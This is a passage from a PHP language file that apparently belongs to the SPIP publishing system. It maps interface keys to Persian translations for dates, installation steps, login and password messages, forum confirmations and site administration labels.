'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => '@nomjour@ @date@',
'date_fmt_periode_from' => 'از ',
'date_fmt_periode_to' => 'تا',
'date_heures' => 'ساعت',
'date_hier' => 'ديروز',
'date_il_y_a' => '@delai@ پيش',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'يكشنبه',
'date_jour_1_abbr' => 'يكشنبه',
'date_jour_1_initiale' => 'يك',
'date_jour_2' => 'دو شنبه',
'date_jour_2_abbr' => 'دوشنبه',
'date_jour_2_initiale' => 'دو',
'date_jour_3' => 'سه شنبه',
'date_jour_3_abbr' => 'سه شنبه',
'date_jour_3_initiale' => 'سه',
'date_jour_4' => 'چهار شنبه',
'date_jour_4_abbr' => 'چهارشنبه',
'date_jour_4_initiale' => 'چهار',
'date_jour_5' => 'پنج شنبه',
'date_jour_5_abbr' => 'پنجشنبه',
'date_jour_5_initiale' => 'پنج',
'date_jour_6' => 'جمعه',
'date_jour_6_abbr' => 'جمعه',
'date_jour_6_initiale' => 'جمعه',
'date_jour_7' => 'شنبه',
'date_jour_7_abbr' => 'شنبه',
'date_jour_7_initiale' => 'شنبه',
'date_jours' => 'روز',
'date_minutes' => 'دقيقه',
'date_mois' => 'ماه',
'date_mois_1' => 'ژانويه',
'date_mois_10' => 'اكتبر',
'date_mois_10_abbr' => 'اكتبر',
'date_mois_11' => 'نوامبر',
'date_mois_11_abbr' => 'نوامبر.',
'date_mois_12' => 'دسامبر',
'date_mois_12_abbr' => 'دسامبر.',
'date_mois_1_abbr' => 'ژانويه.',
'date_mois_2' => 'فوريه',
'date_mois_2_abbr' => 'فوريه.',
'date_mois_3' => 'مارس',
'date_mois_3_abbr' => 'مارس',
'date_mois_4' => 'آوريل',
'date_mois_4_abbr' => 'آوريل.',
'date_mois_5' => 'مه',
'date_mois_5_abbr' => 'مه',
'date_mois_6' => 'ژوئن',
'date_mois_6_abbr' => 'ژوئن',
'date_mois_7' => 'ژوئيه',
'date_mois_7_abbr' => 'ژوئيه.',
'date_mois_8' => 'اوت',
'date_mois_8_abbr' => 'اوت.',
'date_mois_9' => 'سپتامبر',
'date_mois_9_abbr' => 'سپتامبر.',
'date_saison_1' => 'زمستان',
'date_saison_2' => 'بهار',
'date_saison_3' => 'تابستان',
'date_saison_4' => 'پائيز',
'date_secondes' => 'ثانيهها',
'date_semaines' => 'هفته',
'date_un_mois' => 'ماه',
'date_une_heure' => 'ساعت',
'date_une_minute' => 'دقيقه',
'date_une_seconde' => 'ثانيه',
'date_une_semaine' => 'هفته',
'dirs_commencer' => 'براى شروع واقعى نصب كردن',
'dirs_preliminaire' => 'مرحله ى نخست :</b>تنظيم حق استفاده<b> ',
'dirs_probleme_droits' => 'اشكال در حق استفاده',
'dirs_repertoires_absents' => '<b>رپرتوارهای زير پيدا نمی شوند:<ul>@bad_dirs@.</ul> </b>
<p>احتمال دارد که اين مشکل از استفاده نابجای حروف بزرگ يا کوچک ناشی شده باشد. مطمئن شويد که واژه های رپرتوار با آنهايی که در بالا آمده اند مطابقت ميکنند. وگرنه شما بايد آنرا دوباره با نرم افزار FTP تان نام گذاری کنيد تا اشتباه رفع شود. سپس ميتوانيد',
'dirs_repertoires_suivants' => '<b>شما اجازه ی نوشتن در رپرتوارها ی زیر را ندارید. <ul>@bad_dirs@.</ul> </b>
براى دسترسی به آنها، شما بايد از مشترى اف تى پى تان براى اکتساب اجازه ی نوشتن به اين فهرستها استفاده كنيد. روند كار به تفضيل در راهنماى نصب بيان شده است. بمجرد اتمام كار شما ميتوانيد',
'double_occurrence' => 'تكرار دوباره@balise@',
// E
'en_cours' => 'در جريان',
'envoi_via_le_site' => 'ارسال از طريق سايت',
'erreur' => 'اشتباه',
'erreur_balise_non_fermee' => 'آخرین برچسب (Tag) بسته نشده:',
'erreur_technique_enregistrement_champs' => 'يك خطاي فني از حق ثبت نام ميدان @champs@ جلوگيري كرده است.',
'erreur_technique_enregistrement_impossible' => 'يك خطاي فني مانع از ثبت نام است. ',
'erreur_texte' => 'اشتباه',
'etape' => 'مرحله',
// F
'fichier_introuvable' => 'فايل @fichier@ پيدا نميشود ',
'form_auteur_confirmation' => 'نشاني ايميل خود را تأييد كنيد',
'form_auteur_email_modifie' => 'نشاني ايميل شما اصلاح شده.',
'form_auteur_envoi_mail_confirmation' => 'يك نامهي الكترونيكي تأييدي به @email@ ارسال ميشود. شما بايد نشاني وب را كه در اين نامه براي تأييد نشاني ايميل شما ذكر شده مشاهده كنيد. ',
'form_auteur_mail_confirmation' => 'سلام،
شما تغيير نشاني ايميل خود را درخواست كردهايد.
براي تأييد نشاني جديد خود،كافي است با نشاني زير منتصل شويد (در غير اين صورت، درخواست شما ناديده گرفته ميشود):
@url@
',
'form_deja_inscrit' => '.شما قبلأ ثبت نام كرده ايد',
'form_email_non_valide' => '.آدرس ايميلتان معتبر نميباشد',
'form_forum_access_refuse' => '.شما ديگر اجازه ورود به اين سايت را نداريد ',
'form_forum_bonjour' => 'سلام @nom@,',
'form_forum_confirmer_email' => 'براي تأييد نشاني ايميل خود اين پيوند را دنبل كنيد:@url_confirm@',
'form_forum_email_deja_enregistre' => 'اين آدرس ايميل قبلأ ثبت شده، شما ميتوانيد از كلمه ورود هميشگى تان استفاده كنيد ',
'form_forum_identifiant_mail' => ' كلمه شناسائى جديد برايتان با ايميل فرستاده شد ',
'form_forum_identifiants' => 'كلمه شناسايى ',
'form_forum_indiquer_nom_email' => 'نام و آدرس ايميلتان را در اينجا مشخص كنيد. كلمه شناساييتان بلافاصله با ايميل بدستتان خواهد رسيد',
'form_forum_login' => ':login ',
'form_forum_message_auto' => '(اين يك پيام خودكار است) ',
'form_forum_pass' => 'كلمه ورود',
'form_forum_probleme_mail' => 'اشكال در ايميل : نميتوان كلمه شناسايى را فرستاد',
'form_forum_voici1' => 'كلمه شناسايي تان براى شركت در امور روزمره ی سایت"@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'اينهم كلمه شناسايي تان براى پيشنهاد مقالات در سايت "@nom_site_spip@" (@adresse_login@) :',
'form_indiquer_email' => 'خواهشمند است آدرس ايميل تان را مشخص كنيد ',
'form_indiquer_nom' => '.خواهشمند است نام تان را مشخص كنيد',
'form_indiquer_nom_site' => '.خواهشمند است نام سايت تان را مشخص كنيد',
'form_pet_deja_enregistre' => 'اين سايت قبلأ ثبت شده',
'form_pet_signature_pasprise' => '.امضاء تان قبول نشده',
'form_prop_confirmer_envoi' => 'تأئيد فرستادن',
'form_prop_description' => 'توصيف/تفسير',
'form_prop_enregistre' => 'پيشنهاد شما ثبت شد، پس از تأئيد مسئولان سايت بروى سايت خواهد رفت',
'form_prop_envoyer' => 'يك پيام بفرستيد',
'form_prop_indiquer_email' => 'خواهشمند است كه يك آدرس ايميل معتبر را مشخص كنيد',
'form_prop_indiquer_nom_site' => 'خواهشمند است نام سايت را مشخص كنيد',
'form_prop_indiquer_sujet' => 'خواهشمند است يك موضوع را مشخص كنيد',
'form_prop_message_envoye' => 'پيام فرستاده شده',
'form_prop_non_enregistre' => '.پيشنهاد شما ثبت نشده است',
'form_prop_sujet' => 'موضوع',
'form_prop_url_site' => 'آدرس يو.آر.ال سايت',
'forum_non_inscrit' => 'شما ثبت نشده ايد، يا اينكه آدرس يا كلمه ورودتان اشتباه است',
'forum_par_auteur' => 'بوسيله @auteur@ ',
'forum_titre_erreur' => '...اشتباه',
// I
'ical_texte_rss_articles' => 'فايل «backend»مقالات اين سايت در آدرس زير ميباشد:',
'ical_texte_rss_articles2' => 'شما همچنين ميتوانيد به فايلهاى«backend»مقالات هر بخش سايت درسترسى داشته باشيد:',
'ical_texte_rss_breves' => 'همچنين سايت داراى يك فايل كه حاوى مقالات كوتاه ميباشد است. شما ميتوانيد با درج شماره بخش به مقالات كوتاه درسترسى پيدا كنيد. ',
'icone_a_suivre' => 'دنبال كنيد ',
'icone_admin_site' => 'اداره سايت',
'icone_agenda' => ' روزشمار ',
'icone_aide_ligne' => ' كمك',
'icone_articles' => 'مقالات',
'icone_auteurs' => 'نويسندگان',
'icone_brouteur' => 'شبكه نوردى سريع',
'icone_configuration_site' => 'پيكر بندى سايت',
'icone_configurer_site' => 'سايت تان را پيكر بندى كنيد',
'icone_creer_nouvel_auteur' => 'يك نويسنده جديد اضافه كنيد',
'icone_creer_rubrique' => 'يك بخش بسازيد',
'icone_creer_sous_rubrique' => 'يك زير بخش بسازيد',
'icone_deconnecter' => 'از اتصال به سايت خارج شويد',
'icone_discussions' => 'گفتگو',
'icone_doc_rubrique' => 'اسناد بخش ها',
'icone_ecrire_article' => 'يك مقاله جديد بنويسيد',
'icone_edition_site' => ' نشر سايت',
'icone_gestion_langues' => 'اداره كردن بخش زبانها',
'icone_informations_personnelles' => 'اطلاعات شخصى',
'icone_interface_complet' => 'نماى كامل',
'icone_interface_simple' => 'نماى ساده',
'icone_maintenance_site' => 'تعمير و نگهدارى سايت',
'icone_messagerie_personnelle' => 'پيك شخصى',
'icone_repartition_debut' => 'اعلان توزيع از ابتدا',
'icone_rubriques' => 'بخش ها',
'icone_sauver_site' => 'ذخيره سايت',
'icone_site_entier' => 'تمام سايت',
'icone_sites_references' => 'سايتهاى مرجع',
'icone_statistiques' => 'آمار سايت',
'icone_suivi_activite' => ' پيگيرى فعاليت سايت',
'icone_suivi_actualite' => 'تحول سايت',
'icone_suivi_pettions' => 'پيگيرى/اداره كردن درخواست ',
'icone_suivi_revisions' => 'اصلاح مقالات',
'icone_supprimer_document' => 'اين سند را حذف كنيد',
'icone_supprimer_image' => 'اين تصوير را حذف كنيد',
'icone_tous_articles' => 'تمام مقاله هايتان',
'icone_tous_auteur' => 'همه نويسند گان',
'icone_tous_visiteur' => 'تمام بازديدكنندگان ',
'icone_visiter_site' => 'بازديد از سايت همگاني',
'icone_voir_en_ligne' => 'بر روى تارنما ببينيد',
'img_indisponible' => 'تصوير موجود نيست',
'impossible' => 'ناممکن',
'info_a_suivre' => 'دنباله دار »',
'info_acces_interdit' => 'حق استفاده ممنوع',
'info_acces_refuse' => 'حق استفاده پذيرفته نشده',
'info_action' => 'حركت : @action@',
'info_administrer_rubriques' => 'شما ميتوانيد اين بخش و زير بخشهايش را اداره كنيد',
'info_adresse_non_indiquee' => 'شما هيچ آدرسى را براى آزمايش مشخص نكرده ايد ',
'info_aide' => ':كمك',
'info_ajouter_mot' => 'اين واژه را اضافه كنيد',
'info_annonce' => 'خبر',
'info_annonces_generales' => ': خبر هاى كلى',
'info_article_propose' => 'مقاله پيشنهادى',
'info_article_publie' => 'مقاله منتشر شده',
'info_article_redaction' => 'مقاله در حال نگارش',
'info_article_refuse' => 'مقاله ى پذيرفته نشده',
'info_article_supprime' => 'مقاله حذف شده',
'info_articles' => 'مقالات',
'info_articles_a_valider' => 'مقالات براى تأئيد شدن ',
'info_articles_nb' => '@nb@ مقالات',
'info_articles_proposes' => 'مقالات پيشنهادى',
'info_articles_un' => 'مقاله 1',
'info_auteurs_nombre' => ': نويسنده',
'info_authentification_ftp' => '(FTP) تأئيد وب مستر بوسيله ',
'info_breves_2' => 'مقاله كوتاه',
'info_breves_nb' => '@nb@ خبر',
'info_breves_un' => 'خبر 1',
'info_connexion_refusee' => 'ارتباط پذيرفته نشد',
'info_contact_developpeur' => '.خواهشمند است كه با يك برنامه نويس تماس بگيريد',
'info_contenance' => ': اين سايت حاوى',
'info_contribution' => 'نوشتهها',
'info_copyright' => '@spip@ يك نرم افزار آزاد است كه @lien_gpl@ توزيع شده.',
'info_copyright_doc' => ' براى اطلاعات بيشتر مراجعه كنيد به سايت <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'با مجوز GPL ',
'info_cours_edition' => 'مقاله در حال نگارش',
'info_creer_repertoire' => 'خواهشمند است كه يك فايل يا يك فهرست بنام بسازيد: ',
'info_creer_repertoire_2' => 'در داخل زير بخش <b>@repertoire@</b> سپس :',
'info_creer_vignette' => 'ساخت خودكار تصاوير كوچك',
'info_creerdansrubrique_non_autorise' => 'شما حقوق كافي براي ايجاد مطلب در اين بخش را نداريد',
'info_deplier' => 'باز كنيد',
'info_descriptif_nombre' => ': توصيف',
'info_description' => ': توصيف',
'info_description_2' => ': توصيف',
'info_dimension' => ': ابعاد',
'info_documents_nb' => '@nb@ سندها',
'info_documents_un' => 'سند 1',
'info_ecire_message_prive' => 'يك پيام خصوصى بنويسيد',
'info_email_invalide' => 'آدرس ايميل معتبر نميباشد',
'info_en_cours_validation' => 'مقاله هايتان در حال نگارش',
'info_en_ligne' => ': هم اكنون در سايت ميباشد',
'info_envoyer_message_prive' => 'يك پيام خصوصى براى اين نويسنده بفرستيد',
'info_erreur_requete' => ': اشتباه در درخواست',
'info_erreur_squelette2' => 'هيچ اسكلتي <b>@fichier@</b>در دسترس نميباشد',
'info_erreur_systeme' => 'اشتباه در سيستم(errno @errsys@)',
'info_erreur_systeme2' => 'يا ديسك رايانه پر شده يا پایگاه دادهها صدمه ديده اند.<br />
<font color=’red’>يا پایگاه دادهها را <a href=\'@script@\'> درست كنيد</a>, يا با ميزبانتان تماس بگيريد.</font>', # MODIF
'info_fini' => 'پايان!',
'info_format_image' => 'اندازه هاى تصاويرى كه ميتوانند براى ساختن همان تصاوير ولى بصورت كوچك مورد استفاده قرار بگيرند: @gd_formats@.',
'info_format_non_defini' => 'اندازه مشخص نشده',
'info_grand_ecran' => 'صفحه بزرگ',
'info_image_aide' => 'كمك',
'info_image_process_titre' => 'شيوه ى درست كردن تصاوير كوچك',
'info_impossible_lire_page' => '<b>اشتباه !</b> خواندن صفحه <tt><html>@test_proxy@</html></tt> با پروكسى غير ممكن ميباشد',
'info_installation_systeme_publication' => '...استقرار سيستم نشر',
'info_installer_documents' => 'شما ميتوانيد بطور خودكار تمام مطالب پرونده را نصب كنيد @upload@.',
'info_installer_ftp' => 'بعنوان گرداننده سايت، شما ميتوانيد فايلهاى درون پرونده @upload@ را مستقر كنيد سپس آنها را مستقيمأ در اينجا انتخاب كنيد. ',
'info_installer_images' => ': شما ميتوانيد اين نوع تصاوير را نصب كنيدJPEG, GIF, PNG',
'info_installer_images_dossier' => 'تصاوير درون پرونده @upload@ را مستقر كنيد تا بتوانيد آنها را مستقيمأ در اينجا انتخاب كنيد. ',
'info_interface_complete' => 'نماى كامل',
'info_interface_simple' => 'نماى ساده ',
'info_joindre_document_article' => ' شما ميتوانيد به اين مقاله مطالبى يا اسنادى بيفزائيد ',
'info_joindre_document_rubrique' => 'شما ميتوانيد در اين بخش اسنادى را اضافه كنيد',
'info_joindre_documents_article' => ': شما ميتوانيد به اين مقاله اسنادى را اضافه كنيد',
'info_l_article' => 'مقاله',
'info_la_breve' => 'مقاله كوتاه',
'info_la_rubrique' => 'بخش',
'info_langue_principale' => 'زبان اصلى سايت',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixels',
'info_les_auteurs_1' => '@les_auteurs@ نوشته',
'info_logo_format_interdit' => 'فقط لوگوهاى زير @formats@ قابل استفاده اند',
'info_logo_max_poids' => 'لوگوها بايد حتما كمتر از @maxi@ باشند (اين فايل @actuel@ است).',
'info_mail_fournisseur' => 'شما@fournisseur.com',
'info_message_2' => 'پيام',
'info_message_supprime' => 'پيام حذف شده',
'info_messages_nb' => '@nb@ پيامها',
'info_messages_un' => 'پيام 1',
'info_mise_en_ligne' => ': تاريخ راه اندازى',
'info_modification_parametres_securite' => 'اصلاح پارامترهاى ايمنى',
'info_mois_courant' => ':در ماه جارى',
'info_mot_cle_ajoute' => 'كليد-واژه بعدى اضافه شده به',
'info_multi_herit' => ' زبان اصلی',
'info_multi_langues_soulignees' => 'نماى سايت بطور كامل به <u>زبانهاى مشخص شده</u>, ترجمه شده. هنگامي كه شما اين زبانها را انتخاب ميكنيد شمارى از اجزاى سايت مانند تاريخ, بطور خودكار برگردان ميشوند. براى زبانهاى مشخص نشده اين اجزا به زبان اصلى سايت نمايان خواهند شد.', # MODIF
'info_multilinguisme' => 'چند زبانه گى',
'info_nom_non_utilisateurs_connectes' => 'نامتان در فهرست كاربران متصل به تارنما نميباشد',
'info_nom_utilisateurs_connectes' => 'نامتان در فهرست كاربران متصل به تارنما ميباشد',
'info_nombre_en_ligne' => ': هم اكنون روى خط',
'info_non_resultat' => '"@cherche_mot@" بى نتيجه براى ',
'info_non_utilisation_messagerie' => 'شما از پيامگير داخلى سايت استفاده نميكنيد.',
'info_nouveau_message' => 'شما يك پيام جديد داريد',
'info_nouveaux_messages' => 'پيام جديد داريد @total_messages@ شما',
'info_numero_abbreviation' => 'شماره ',
'info_obligatoire' => 'اين اطلاعات اجباري است',
'info_pense_bete' => 'يادداشت',
'info_petit_ecran' => 'صفحه كوچك',
'info_petition_close' => 'درخواست بسته',
'info_pixels' => 'پيكسل',
'info_plusieurs_mots_trouves' => 'پيدا شده"@cherche_mot@":چندين واژه-كليد براى',
'info_portfolio_automatique' => ': تصاوير را بطور خودكار در صفحه اى گذاشتن',
'info_premier_resultat' => '[@total@ نتيجه اول از مجموع@debut_limit@]',
'info_premier_resultat_sur' => '[@total@نتيجه اول از مجموع @debut_limit@]',
'info_propose_1' => ' @titre@ :[@nom_site_spip@] را پيشنهاد ميكند',
'info_propose_2' => '
مقاله پيشنهاد شده---------------',
'info_propose_3' => 'براى انتشار پيشنهاد شده "@titre@" مقاله',
'info_propose_4' => 'خواهشمند است اين را بخوانيد و نظرتان را بدهيد',
'info_propose_5' => '. سخنگاهى كه به آن وصل است : در اين آدرس موجود ميباشد',
'info_publie_01' => 'مقاله "@titre@" بوسيله @connect_nom@ معتبر گرديد.',
'info_publie_1' => '[@nom_site_spip@]منتشر ميكند : @titre@',
'info_publie_2' => 'مقاله منتشر شده
--------------',
'info_rechercher' => 'جستجو ',
'info_rechercher_02' => 'جستجو:',
'info_remplacer_vignette' => ': علامت گرافيكى شخصى (لوگو ) را جايگزين تصوير كنيد',
'info_rubriques_nb' => '@nb@ بخشها',
'info_rubriques_un' => 'بخش 1',
'info_sans_titre_2' => 'بدون عنوان',
'info_selectionner_fichier' => 'شما ميتوانيد يك فايل از پرونده @upload@ انتخاب كنيد',
'info_selectionner_fichier_2' => ': يك فايل انتخاب كنيد',
'info_sites_nb' => '@nb@ سايتها',
'info_sites_un' => 'سايت 1',
'info_supprimer_vignette' => 'تصاوير كوچك را حذف كنيد',
'info_symbole_bleu' => 'نماد آبى نمايانگر يادداشت است : يا بعبارتى پيام، براى استفاده شخصى.',
'info_symbole_jaune' => 'نماد زرد نشانگر یک خبر براى تمام نويسندگان ميباشد : كه قابل اصلاح توسط تمام گردانندگان سايت و قابل رؤيت براى تمام نويسندگان ميباشد.',
'info_symbole_vert' => 'نماد سبز نشانگر پيامهاى رد و بدل شده با ديگر كاربران ميباشد.',
'info_telecharger_nouveau_logo' => ':يك لوگوى جديد بارگذارى كنيد',
'info_telecharger_ordinateur' => ':با رايانه خودتان بارگذارى كنيد',
'info_tous_resultats_enregistres' => '[تمام نتايج ثبت شده اند]',
'info_tout_afficher' => 'همه را نمايش دهيد',
'info_travaux_texte' => 'اين سايت هنوز پيكر بندى نشده. كمى ديرتر بازگرديد',
'info_travaux_titre' => 'سايت در حال بازساى',
'info_trop_resultat' => ';"@cherche_mot@"ازدياد جواب براى جستجوى خواهشمند است، جستجو را دقيقتر كنيد',
'info_utilisation_messagerie_interne' => 'شما از پيام گير داخلى اين سايت استفاده ميكنيد',
'info_valider_lien' => 'اين پيوند را معتبر كنيد',
'info_verifier_image' => 'خواهشمند است انتقال صحيح تصاوير را بازرسى كنيد ',
'info_vignette_defaut' => 'تصاوير كوچك قبل از شكل بندى',
'info_vignette_personnalisee' => 'تصاوير كوچك پس از شكل بندى',
'info_visite' => ':بازديد',
'info_vos_rendez_vous' => 'ملاقات هاى آيندتان',
'infos_vos_pense_bete' => 'يادداشت هايتان',
// L
'label_ajout_id_rapide' => 'افزودن سريع',
'label_poids_fichier' => 'اندازه',
'lien_afficher_icones_seuls' => 'فقط آيكونها را نشان دهيد',
'lien_afficher_texte_icones' => 'آيكونها و متن را نشان دهيد',
'lien_afficher_texte_seul' => 'فقط متن را نشان دهيد',
'lien_liberer' => 'آزاد كنيد',
'lien_liberer_tous' => 'نشر مقالات',
'lien_nouvea_pense_bete' => 'يادداشت جديد',
'lien_nouveau_message' => 'پيام جديد',
'lien_nouvelle_annonce' => 'خبر جديد',
'lien_petitions' => 'درخواست',
'lien_popularite' => '@popularite@% : محبوبيت سايت',
'lien_racine_site' => 'ريشه سايت',
'lien_reessayer' => 'دوباره آزمايش كنيد',
'lien_repondre_message' => 'پاسخ به اين پيام',
'lien_supprimer' => 'حذف كنيد',
'lien_tout_afficher' => 'همه را نشان دهيد',
'lien_visite_site' => 'از اين سايت ديدن كنيد',
'lien_visites' => 'بازديد @visites@',
'lien_voir_auteur' => 'اين نويسنده را ببينيد',
'ligne' => 'خط',
'login' => 'ارتباط',
'login_acces_prive' => 'دسترسى به قسمت خصوصى',
'login_autre_identifiant' => 'با يك كلمه شناسايى ديگر متصل شويد',
'login_cookie_accepte' => 'خواهشمند است كه مرورگر تان را بشيوه اى تنظيم كنيد كه آنها را بپذيرد ( دست كم براى اين سايت)',
'login_cookie_oblige' => ' شما بايد كوكى ها cookies را براى امنيت بيشتر براى شناساييتان بپذيريد',
'login_deconnexion_ok' => 'ارتباط قطع شد',
'login_erreur_pass' => 'كلمه ورود اشتباه است',
'login_espace_prive' => 'قسمت شخصي',
'login_identifiant_inconnu' => '« @login@ » كلمه شناسايى ناشناس است ',
'login_login' => ': Login ',
'login_login2' => 'لاگين يا نشاني ايميل :',
'login_login_pass_incorrect' => '(يا كلمه شناسايى اشتباه است Login)',
'login_motpasseoublie' => 'آيا كلمه ورود را فراموش كرديد؟',
'login_non_securise' => ' توجه ! اين پرسشنامه ايمن نميباشد. اگر ميخواهيد كه كلمه ورودى تان روى شبكه توسط ديگران ديده نشود، خواهشمند است جاوا اسكريپت را بروى مرورگر تان فعال نمائيد',
'login_nouvelle_tentative' => 'كوششى ديگر',
'login_par_ici' => 'شما در اينجا ... ثبت شديد ...',
'login_pass2' => 'كلمه ورود :',
'login_preferez_refuser' => 'اگر نخواهيد كوكى ها cookies را قبول كنيد، شيوه ى ديگرى (با امنيت كمتر) در دسترستان ميباشد:',
'login_recharger' => 'اين صفحه را دوباره شارژ كنيد',
'login_rester_identifie' => 'برای چند روز معتبر کنيد',
'login_retour_public' => 'بازگشت به سايت همگانى',
'login_retour_site' => 'بازگشت به سايت همگانى',
'login_retoursitepublic' => 'بازگشت به سايت همگانى',
'login_sans_cookiie' => 'شناسائى بدون كوكى cookie',
'login_securise' => 'لاگين امن ',
'login_sinscrire' => 'ثبت نام ',
'login_test_navigateur' => 'آزمايش مرورگر/ ارتباط دوباره',
'login_verifiez_navigateur' => '(...مطمئن شويد كه مرورگر كلمه ورودى تان را ضبط نكرده است)',
// M
'masquer_colonne' => 'پنهان كردن اين ستون',
'masquer_trad' => 'ترجمه ها را پنهان کنید',
'module_fichiers_langues' => 'فايل هاى زبان',
// N
'navigateur_pas_redirige' => 'اگر مرورگر تان دوباره هدايت نشد, اينجا را براى ادامه كليك كنيد.',
'numero' => 'شماره',
// O
'occurence' => 'واقعه',
'onglet_affacer_base' => 'پاك كردن پايگاه',
'onglet_auteur' => 'نويسنده',
'onglet_contenu_site' => 'محتوى سايت',
'onglet_evolution_visite_mod' => 'تحول بازديدها',
'onglet_fonctions_avances' => 'عملكرد پيشرفته',
'onglet_informations_personnelles' => 'اطلاعات شخصى',
'onglet_interactivite' => 'تبادل كاربر-سايت',
'onglet_messagerie' => 'پيام گير',
'onglet_repartition_rubrique' => 'نمودار توزيع براى هر بخش',
'onglet_save_restaur_base' => 'ذخيره / بازسازى پايگاه',
'onglet_vider_cache' => 'خالى كردن فايل موقت',
// P
'pass_choix_pass' => 'خواهشمند است كلمه ورودى جديدتان را انتخاب كنيد',
'pass_erreur' => 'اشتباه',
'pass_erreur_acces_refuse' => '<b>اشتباه :</b>شما به اين سايت ديگر دسترسى نداريد',
'pass_erreur_code_inconnu' => '<b>اشتباه :</b> اين كد به هيچيك از بازديدكنندگانى كه به اين سايت دسترسى دارند تعلق ندارد',
'pass_erreur_non_enregistre' => '<b>اشتباه :</b>اين آدرس در اين سايت ثبت نشده است<tt>@email_oubli@</tt> ',
'pass_erreur_non_valide' => '<b>اشتباه :</b> اين ايميل معتبر نميباشد<tt>@email_oubli@</tt> ',
'pass_erreur_probleme_technique' => '<b>اشتباه :</b>بخاطر مشكل فنى نميتوان ايميل را فرستاد',
'pass_espace_prive_bla' => 'قسمت خصوصى اين سايت پس از ثبت نام بروى بازديدكنندگان بازخواهد بود. شما ميتوانيد پس از ثبت نام، مقالات در حال نگارش را بخوانيد، همچنين ميتوانيد پيشنهاد مقاله و يا در تمام سخنگاه ها شركت كنيد ',
'pass_forum_bla' => 'شما درخواست شركت در سخنگاه مختص بازديدكنندگان ثبت شده را كرديد',
'pass_indiquez_cidessous' => 'آدرس ايميلى كه با آن ثبت شده ايد را مشخص كنيد. شما ايميلى دريافت خواهيد كرد كه شامل راهنماى ورودتان ميباشد',
'pass_mail_passcookie' => 'اين يك پيام خودكار است.براى دسترسى به سايت@nom_site_spip@ (@adresse_site@)خواهشمند است به اين آدرس مراجعه كنيد : @sendcookie@
شما ميتوانيد كلمه ورودى ديگرى را وارد كنيد و دوباره به سايت وصل شويد',
'pass_mot_oublie' => 'كلمه ورود فراموش شده',
'pass_nouveau_enregistre' => 'كلمه ورودى جديدتان ثبت شد.',
'pass_nouveau_pass' => 'كلمه ورودى جديد',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'فراموشى كلمه ورودى ',
'pass_procedure_changer' => 'براي تغيير گذرواژهي خود، ما بايد اول شما را شناسايي كنيم. براي اين كار نشاني ايميل مربوط به حساب خود را به ما اعلام كنيد. ',
'pass_quitter_fenetre' => 'اين پنجره را ترك كنيد',
'pass_rappel_login' => '(login)شما : « @login@ ».',
'pass_recevoir_mail' => ' شما ايميلى دريافت خواهيد كرد كه شامل راهنماى ورودتان به سايت ميباشد',
'pass_retour_public' => 'بازگشت به سايت همگانى',
'pass_rien_a_faire_ici' => 'شما اينجا كارى نداريد',
'pass_vousinscrire' => 'ثبت نام شما در اين سايت',
'precedent' => 'پيشين',
'previsualisation' => 'پيش بازديد',
'previsualiser' => 'پيش بازبينى',
// R
'retour' => 'بازگشت',
// S
'spip_conforme_dtd' => 'این سند با DOCTYPE اسپیپ مطابقت میکند:',
'squelette' => 'اسکلت',
'squelette_inclus_ligne' => 'اسکلت گنجانده شده, خط',
'squelette_ligne' => 'اسکلت, خط',
'stats_visites_et_popularite' => '@visites@ بازديد; محبوبيت: @popularite@',
'suivant' => 'بعدى',
// T
'taille_go' => '@taille@ برو',
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bits',
'texte_actualite_site_1' => 'هنگاميكه با نماى سايت بيشتر آشنا شديد ميتوانيد روى ',
'texte_actualite_site_2' => 'نماى كامل',
'texte_actualite_site_3' => 'براى امكانات بيشتر.',
'texte_creation_automatique_vignette' => 'ساخت خودكار تصاوير كوچك در اين سايت فعال است. اگر از اين دستورالعمل ،تصاوير با ابعاد @gd_formats@ را مستقر كنيد، آنها همراه تصاوير كوچك با اندازه حداكثر@taille_preview@پيكسل خواهند بود',
'texte_documents_associes' => 'اسناد بعدى به مقاله پيوند زده شده اند و بطور مستقيم گنجانده نشده اند. بنابر صفحه بندى سايت آنها ميتوانند بصورت اسناد پيوسته ظاهر شوند.',
'texte_erreur_mise_niveau_base' => 'اشتباه در پایگاه دادهها بهنگام تنظیم. تصوير <b>@fichier@</b> منتقل نشده است (مقاله @id_article@).
اين شماره را بدقت يادداشت,و سعى كنيد عمل را تکرار کنید، و مطمئن شوید که تصاوير در مقالات ظاهر ميشوند.',
'texte_erreur_visiteur' => 'شما سعی کردید با login که امکان دسترسی به قسمت خصوصی را نمیدهد وارد شوید.',
'texte_inc_auth_1' => ' شما با اين لاگين شناسايى ميشويد :
login <b>@auth_login@</b>,اما اين نام ديگر در پايگاه وجود ندارد.
',
'texte_inc_auth_2' => 'دوباره متصل شويد',
'texte_inc_auth_3' => 'پس از ترك و راه انداختن مجدد مرورگر. ',
'texte_inc_config' => 'تغيير در اين صفحات در عملكرد سايتتان تاثير قابل توجهى بجاى ميگذارد. بشما پيشنهاد ميكنيم اگر با سيستم اسپيپ آشنايى نداريد از دستكارى آنها بپرهيزيد.<br /><br /><b> توصيه ميشود كه اين وظيفه را به وب مستر اصلى محول كنيد.</b>',
'texte_inc_meta_1' => 'سيستم بهنگام نوشتن فايل<code>@fichier@</code> به مشكلى برخورد كرده است, خواهشمند است، بعنوان گرداننده سايت',
'texte_inc_meta_2' => 'حق استفاده را تاييد كنيد',
